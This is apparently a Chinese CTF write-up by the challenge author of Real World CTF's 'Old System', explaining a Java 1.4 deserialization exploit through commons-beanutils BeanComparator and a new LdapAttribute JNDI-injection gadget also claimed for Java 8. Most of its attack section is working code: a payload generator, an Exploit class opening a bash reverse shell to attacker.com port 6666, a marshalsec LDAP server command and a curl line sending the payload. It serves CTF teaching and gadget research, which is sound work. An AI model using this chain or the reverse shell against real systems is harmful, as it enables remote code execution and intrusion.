微信又改版了,为了我们能一直相见
你的加星和在看对我们非常重要
点击“长亭安全课堂”——主页右上角——设为星标🌟
期待与你的每次见面~
这次第三届 Real World CTF 我出了一道 Java 反序列化的题目Old System,玩了一波文艺复兴,考查的是在 Java 1.4 这个远古版本环境下反序列化漏洞的利用。
Java 1.4 其实已经是非常古老的版本(J2SE 1.4 是在 2002 年 2 月发行的),你可能会觉得不可思议:“都 2021 年了谁还用这么老的 Java,打 CTF 果然一点用都没有!”。但是这可是 Real World CTF,实际上这道题是我根据去年在某次渗透攻防演练中碰到的一个真实系统环境改编而来,并且这道题重点考察的是选手对于 Java 反序列化漏洞利用链(Gadget)的理解程度和新链的挖掘能力。如果你感兴趣,请接着往后阅读。
游戏开始
Old System这道题的题目描述如下:
How to exploit the deserialization vulnerability in such an ancient Java environment ?
Java version: 1.4.2_19
题目中指明了 Java 版本,并且在题目附件里提供了 webapp war:
WEB-INF/web.xml 里只定义了 1 个 servlet:
<!--
Copyright 2004 The Apache Software Foundation
Licensed under the Apache License, Version 2.0 (the "License");
you may not use this file except in compliance with the License.
You may obtain a copy of the License at
http://www.apache.org/licenses/LICENSE-2.0
Unless required by applicable law or agreed to in writing, software
distributed under the License is distributed on an "AS IS" BASIS,
WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
See the License for the specific language governing permissions and
limitations under the License.
-->
<web-app xmlns="http://java.sun.com/xml/ns/j2ee"
xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance"
xsi:schemaLocation="http://java.sun.com/xml/ns/j2ee http://java.sun.com/xml/ns/j2ee/web-app_2_4.xsd"
version="2.4">
<display-name>Tomcat Demo Webapp</display-name>
<description>Tomcat Demo Webapp</description>
<servlet>
<servlet-name>org.rwctf.ObjectServlet</servlet-name>
<servlet-class>org.rwctf.ObjectServlet</servlet-class>
</servlet>
<servlet-mapping>
<servlet-name>org.rwctf.ObjectServlet</servlet-name>
<url-pattern>/object</url-pattern>
</servlet-mapping>
</web-app>
这个 servlet 映射的请求访问路径是 /object,对应的类是 ObjectServlet:
package org.rwctf;
import java.io.File;
import java.io.IOException;
import java.io.PrintWriter;
import java.net.MalformedURLException;
import java.net.URL;
import java.net.URLClassLoader;
import javax.servlet.ServletConfig;
import javax.servlet.ServletException;
import javax.servlet.http.HttpServlet;
import javax.servlet.http.HttpServletRequest;
import javax.servlet.http.HttpServletResponse;
public class ObjectServlet extends HttpServlet {
private ClassLoader appClassLoader;
public ObjectServlet() {
}
public void init(ServletConfig var1) throws ServletException {
super.init(var1);
String var2 = var1.getServletContext().getRealPath("/");
File var3 = new File(var2 + File.separator + "WEB-INF" + File.separator + File.separator + "lib");
if (var3.exists() && var3.isDirectory()) {
File[] var4 = var3.listFiles();
if (var4 != null) {
URL[] var5 = new URL[var4.length + 1];
for(int var6 = 0; var6 < var4.length; ++var6) {
if (var4[var6].getName().endsWith(".jar")) {
try {
var5[var6] = var4[var6].toURI().toURL();
} catch (MalformedURLException var9) {
var9.printStackTrace();
}
}
}
File var10 = new File(var2 + File.separator + "WEB-INF" + File.separator + File.separator + "classes");
if (var10.exists() && var10.isDirectory()) {
try {
var5[var5.length - 1] = var10.toURI().toURL();
} catch (MalformedURLException var8) {
var8.printStackTrace();
}
}
this.appClassLoader = new URLClassLoader(var5);
}
}
}
protected void doPost(HttpServletRequest var1, HttpServletResponse var2) throws ServletException, IOException {
PrintWriter var3 = var2.getWriter();
ClassLoader var4 = Thread.currentThread().getContextClassLoader();
Thread.currentThread().setContextClassLoader(this.appClassLoader);
try {
ClassLoaderObjectInputStream var5 = new ClassLoaderObjectInputStream(this.appClassLoader, var1.getInputStream());
Object var6 = var5.readObject();
var5.close();
var3.print(var6);
} catch (ClassNotFoundException var10) {
var10.printStackTrace(var3);
} finally {
Thread.currentThread().setContextClassLoader(var4);
}
}
}
package org.rwctf;
import java.io.IOException;
import java.io.InputStream;
import java.io.ObjectInputStream;
import java.io.ObjectStreamClass;
import java.io.StreamCorruptedException;
import java.lang.reflect.Proxy;
public class ClassLoaderObjectInputStream extends ObjectInputStream {
private final ClassLoader classLoader;
public ClassLoaderObjectInputStream(ClassLoader var1, InputStream var2) throws IOException, StreamCorruptedException {
super(var2);
this.classLoader = var1;
}
protected Class resolveClass(ObjectStreamClass var1) throws IOException, ClassNotFoundException {
return Class.forName(var1.getName(), false, this.classLoader);
}
protected Class resolveProxyClass(String[] var1) throws IOException, ClassNotFoundException {
Class[] var2 = new Class[var1.length];
for(int var3 = 0; var3 < var1.length; ++var3) {
var2[var3] = Class.forName(var1[var3], false, this.classLoader);
}
return Proxy.getProxyClass(this.classLoader, var2);
}
}
ysoserial gadget 分析
commons-collections 这个库的反序列化利用链核心都在于 Transformer,比如 InvokerTransformer 或者 InstantiateTransformer,但这些类在 2.1 版本的 commons-collections 库中都没有:
因此 ysoserial 里关于 CommonsCollections 系列的利用链肯定不起作用了。
我们再来看 CommonsBeanutils。
一些新手可能会被 ysoserial 里标注的利用链依赖库版本所迷惑,认为某个链就只能在对应标注的依赖版本下起作用,其实并非如此。像 ysoserial 里 CommonsBeanutils1 这个链,作者标注的依赖版本是:
commons-beanutils:1.9.2, commons-collections:3.1, commons-logging:1.2
package ysoserial.payloads;
import java.math.BigInteger;
import java.util.PriorityQueue;
import org.apache.commons.beanutils.BeanComparator;
import ysoserial.payloads.annotation.Authors;
import ysoserial.payloads.annotation.Dependencies;
import ysoserial.payloads.util.Gadgets;
import ysoserial.payloads.util.PayloadRunner;
import ysoserial.payloads.util.Reflections;
@SuppressWarnings({ "rawtypes", "unchecked" })
@Dependencies({"commons-beanutils:commons-beanutils:1.9.2", "commons-collections:commons-collections:3.1", "commons-logging:commons-logging:1.2"})
@Authors({ Authors.FROHOFF })
public class CommonsBeanutils1 implements ObjectPayload<Object> {
public Object getObject(final String command) throws Exception {
final Object templates = Gadgets.createTemplatesImpl(command);
// mock method name until armed
final BeanComparator comparator = new BeanComparator("lowestSetBit");
// create queue with numbers and basic comparator
final PriorityQueue<Object> queue = new PriorityQueue<Object>(2, comparator);
// stub data for replacement later
queue.add(new BigInteger("1"));
queue.add(new BigInteger("1"));
// switch method called by comparator
Reflections.setFieldValue(comparator, "property", "outputProperties");
// switch contents of queue
final Object[] queueArray = (Object[]) Reflections.getFieldValue(queue, "queue");
queueArray[0] = templates;
queueArray[1] = templates;
return queue;
}
}
ObjectInputStream.readObject()
PriorityQueue.readObject()
PriorityQueue.heapify()
PriorityQueue.siftDown()
PriorityQueue.siftDownUsingComparator()
BeanComparator.compare()
ysoserial CommonsBeanutils1 的前半部分利用链能执行到 BeanComparator.compare 方法后,后半部分就是需要找一个 getter 方法能触发危险敏感操作的可序列化类了。基于 getter 方法触发 RCE,目前 Java 标准库里已经公开过的利用链有 TemplatesImpl 和 JdbcRowSetImpl:
-
com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl#getOutputProperties: 加载自定义的字节码并实例化,从而可执行任意 Java 代码 -
com.sun.rowset.JdbcRowSetImpl#getDatabaseMetaData: 触发 JNDI 注入,也可以执行任意 Java 代码
ysoserial CommonsBeanutils1 源码里采用的是 TemplatesImpl,因此整个完整的反序列化利用链调用过程为:
ObjectInputStream.readObject()
PriorityQueue.readObject()
PriorityQueue.heapify()
PriorityQueue.siftDown()
PriorityQueue.siftDownUsingComparator()
BeanComparator.compare()
PropertyUtils.getProperty()
PropertyUtilsBean.getProperty()
PropertyUtilsBean.getNestedProperty()
PropertyUtilsBean.getSimpleProperty()
PropertyUtilsBean.invokeMethod()
TemplatesImpl.getOutputProperties()
TemplatesImpl.newTransformer()
TemplatesImpl.getTransletInstance()
TransletClassLoader.defineClass()
Class.newInstance()
Runtime.getRuntime().exec(command)
Java 1.4 下的困境
分析完 ysoserial CommonsBeanutils1 的利用链构造代码后,我们把眼光挪回到本题目。首先需要确认一下 BeanComparator 这个核心类是否存在。
还算不错的是,尽管题目中用到的 commons-beanutils 依赖版本是 1.6,也算是很老的版本了,但 BeanComparator 这个核心类是存在的。虽然 compare 方法的代码稍作了改变,但依然是可以执行被比较对象的特定 getter 方法:
从 readObject 到 BeanComparator.compare
java.util.HashMap#readObject
java.util.HashMap#putForCreate
java.util.HashMap#eq
java.util.AbstractMap#equals
java.util.TreeMap#get
java.util.TreeMap#getEntry
org.apache.commons.beanutils.BeanComparator#compare
putForCreate 方法中在要被比较的两个 key 对象的 hash 一致时,就会进入到相等性比较的调用。可以通过创建两个构造起来完全一样、但是引用地址不一样的对象来解决 hash 判断的问题。比如:
TreeMap treeMap1 = new TreeMap(comparator);
treeMap1.put(payloadObject, "aaa");
TreeMap treeMap2 = new TreeMap(comparator);
treeMap2.put(payloadObject, "aaa");
HashMap hashMap = new HashMap();
hashMap.put(treeMap1, "bbb");
hashMap.put(treeMap2, "ccc");
这样就完成了从反序列化入口 readObject 到 BeanComparator.compare 方法的调用!
从 BeanComparator.compare 到 RCE
-
实现了 Serializable 接口
-
其某个 getter 方法里进行了敏感危险操作
根据 JNDI 注入攻击的条件,现在 JNDI 连接的地址已经可控,接下来想办法触发 InitialContext.lookup 方法即可。
起初我一直以为我会在 (DirContext)var1.lookup("AttributeDefinition/" + this.getID()) 这一行代码里的 lookup 处触发 JNDI 注入,但是经过多番尝试后并没有成功,因为这里的 lookup 方法实际上是 HierMemDirCtx.lookup,而 HierMemDirCtx 并不是 InitialContext 的子类。
当我发现 HierMemDirCtx.lookup 这个方法无法进行 JNDI 注入后,我就暂时放弃了一阵子,转头分析别的利用类去了。但是当我把所有可能的类都看的差不多之后,感觉实在没有能看的了,于是只好又回过头来继续硬着头皮分析。最终发现,要触发 JNDI 注入,其实并不一定要以 InitialContext.lookup 方法为入口!
以 LDAP 协议为例的 JNDI 注入,InitialContext.lookup 方法的调用栈为:
javax.naming.InitialContext#lookup(java.lang.String)
-> com.sun.jndi.url.ldap.ldapURLContext#lookup(java.lang.String)
-> com.sun.jndi.toolkit.url.GenericURLContext#lookup(java.lang.String)
-> com.sun.jndi.toolkit.ctx.PartialCompositeContext#lookup(javax.naming.Name)
-> com.sun.jndi.toolkit.ctx.ComponentContext#p_lookup
-> com.sun.jndi.ldap.LdapCtx#c_lookup
-> ......
com.sun.jndi.ldap.LdapAttribute#getAttributeDefinition
-> javax.naming.directory.InitialDirContext#getSchema(javax.naming.Name)
-> com.sun.jndi.toolkit.ctx.PartialCompositeDirContext#getSchema(javax.naming.Name)
-> com.sun.jndi.toolkit.ctx.ComponentDirContext#p_getSchema
-> com.sun.jndi.toolkit.ctx.ComponentContext#p_resolveIntermediate
-> com.sun.jndi.toolkit.ctx.AtomicContext#c_resolveIntermediate_nns
-> com.sun.jndi.toolkit.ctx.ComponentContext#c_resolveIntermediate_nns
-> com.sun.jndi.ldap.LdapCtx#c_lookup
-> ......
因此就可以进行 JNDI 注入,实现 RCE。
PoC
生成序列化 payload 的 PoC:
import org.apache.commons.beanutils.BeanComparator;
import javax.naming.CompositeName;
import java.io.FileOutputStream;
import java.io.ObjectOutputStream;
import java.lang.reflect.Constructor;
import java.lang.reflect.Field;
import java.util.HashMap;
import java.util.TreeMap;
public class PayloadGenerator {
public static void main(String[] args) throws Exception {
String ldapCtxUrl = "ldap://attacker.com:1389";
Class ldapAttributeClazz = Class.forName("com.sun.jndi.ldap.LdapAttribute");
Constructor ldapAttributeClazzConstructor = ldapAttributeClazz.getDeclaredConstructor(
new Class[] {String.class});
ldapAttributeClazzConstructor.setAccessible(true);
Object ldapAttribute = ldapAttributeClazzConstructor.newInstance(
new Object[] {"name"});
Field baseCtxUrlField = ldapAttributeClazz.getDeclaredField("baseCtxURL");
baseCtxUrlField.setAccessible(true);
baseCtxUrlField.set(ldapAttribute, ldapCtxUrl);
Field rdnField = ldapAttributeClazz.getDeclaredField("rdn");
rdnField.setAccessible(true);
rdnField.set(ldapAttribute, new CompositeName("a//b"));
// Generate payload
BeanComparator comparator = new BeanComparator("class");
TreeMap treeMap1 = new TreeMap(comparator);
treeMap1.put(ldapAttribute, "aaa");
TreeMap treeMap2 = new TreeMap(comparator);
treeMap2.put(ldapAttribute, "aaa");
HashMap hashMap = new HashMap();
hashMap.put(treeMap1, "bbb");
hashMap.put(treeMap2, "ccc");
Field propertyField = BeanComparator.class.getDeclaredField("property");
propertyField.setAccessible(true);
propertyField.set(comparator, "attributeDefinition");
ObjectOutputStream oos = new ObjectOutputStream(new FileOutputStream("object.ser"));
oos.writeObject(hashMap);
oos.close();
}
}
java.io.ObjectInputStream#readObject
-> java.util.HashMap#readObject
-> java.util.HashMap#putForCreate
-> java.util.HashMap#eq
-> java.util.AbstractMap#equals
-> java.util.TreeMap#get
-> java.util.TreeMap#getEntry
-> java.util.TreeMap#compare
-> org.apache.commons.beanutils.BeanComparator#compare
-> org.apache.commons.beanutils.PropertyUtils#getProperty
-> org.apache.commons.beanutils.PropertyUtils#getNestedProperty
-> org.apache.commons.beanutils.PropertyUtils#getSimpleProperty
-> java.lang.reflect.Method#invoke
-> com.sun.jndi.ldap.LdapAttribute#getAttributeDefinition
-> javax.naming.directory.InitialDirContext#getSchema(javax.naming.Name)
-> com.sun.jndi.toolkit.ctx.PartialCompositeDirContext#getSchema(javax.naming.Name)
-> com.sun.jndi.toolkit.ctx.ComponentDirContext#p_getSchema
-> com.sun.jndi.toolkit.ctx.ComponentContext#p_resolveIntermediate
-> com.sun.jndi.toolkit.ctx.AtomicContext#c_resolveIntermediate_nns
-> com.sun.jndi.toolkit.ctx.ComponentContext#c_resolveIntermediate_nns
-> com.sun.jndi.ldap.LdapCtx#c_lookup
-> JNDI Injection RCE
利用步骤:
用在 Java 1.4 的环境下编译如下 Exploit.java 得到 Exploit.class,它用来执行反弹 shell 到 attacker.com 主机 6666 端口的命令:
import java.util.Hashtable;
import javax.naming.Context;
import javax.naming.Name;
import javax.naming.spi.ObjectFactory;
public class Exploit
implements ObjectFactory {
public Object getObjectInstance(Object object, Name name, Context context, Hashtable hashtable) throws Exception {
Runtime.getRuntime().exec(new String[]{"bash", "-c", "sh -i >& /dev/tcp/attacker.com/6666 0>&1"});
return null;
}
}
java -cp marshalsec-0.0.3-SNAPSHOT-all.jar marshalsec.jndi.LDAPRefServer "http://attacker.com/#Exploit" 1389
curl http://challenge_address:28080/object --data-binary @object.ser
后续我发现 com.sun.jndi.ldap.LdapAttribute 这个类在 Java 8 中也是有的,因此这个利用链的 JNDI 注入利用同样适用于 Java 8:
import javax.naming.CompositeName;
import java.lang.reflect.Constructor;
import java.lang.reflect.Field;
import java.lang.reflect.Method;
public class PayloadTest {
public static void main(String[] args) throws Exception {
String ldapCtxUrl = "ldap://attacker.com:1389";
Class ldapAttributeClazz = Class.forName("com.sun.jndi.ldap.LdapAttribute");
Constructor ldapAttributeClazzConstructor = ldapAttributeClazz.getDeclaredConstructor(
new Class[] {String.class});
ldapAttributeClazzConstructor.setAccessible(true);
Object ldapAttribute = ldapAttributeClazzConstructor.newInstance(
new Object[] {"name"});
Field baseCtxUrlField = ldapAttributeClazz.getDeclaredField("baseCtxURL");
baseCtxUrlField.setAccessible(true);
baseCtxUrlField.set(ldapAttribute, ldapCtxUrl);
Field rdnField = ldapAttributeClazz.getDeclaredField("rdn");
rdnField.setAccessible(true);
rdnField.set(ldapAttribute, new CompositeName("a//b"));
Method getAttributeDefinitionMethod = ldapAttributeClazz.getMethod("getAttributeDefinition", new Class[] {});
getAttributeDefinitionMethod.setAccessible(true);
getAttributeDefinitionMethod.invoke(ldapAttribute, new Object[] {});
}
}
所以如果我没弄错的话,这应该也算是一个新的 getter rce gadget
-
https://github.com/frohoff/ysoserial
-
https://github.com/mbechler/marshalsec
-
https://www.blackhat.com/docs/us-16/materials/us-16-Munoz-A-Journey-From-JNDI-LDAP-Manipulation-To-RCE.pdf
本文始发于微信公众号(长亭安全课堂):Real Wolrd CTF 3rd Writeup | Old System
- 左青龙
- 微信扫一扫
-
- 右白虎
- 微信扫一扫
-
评论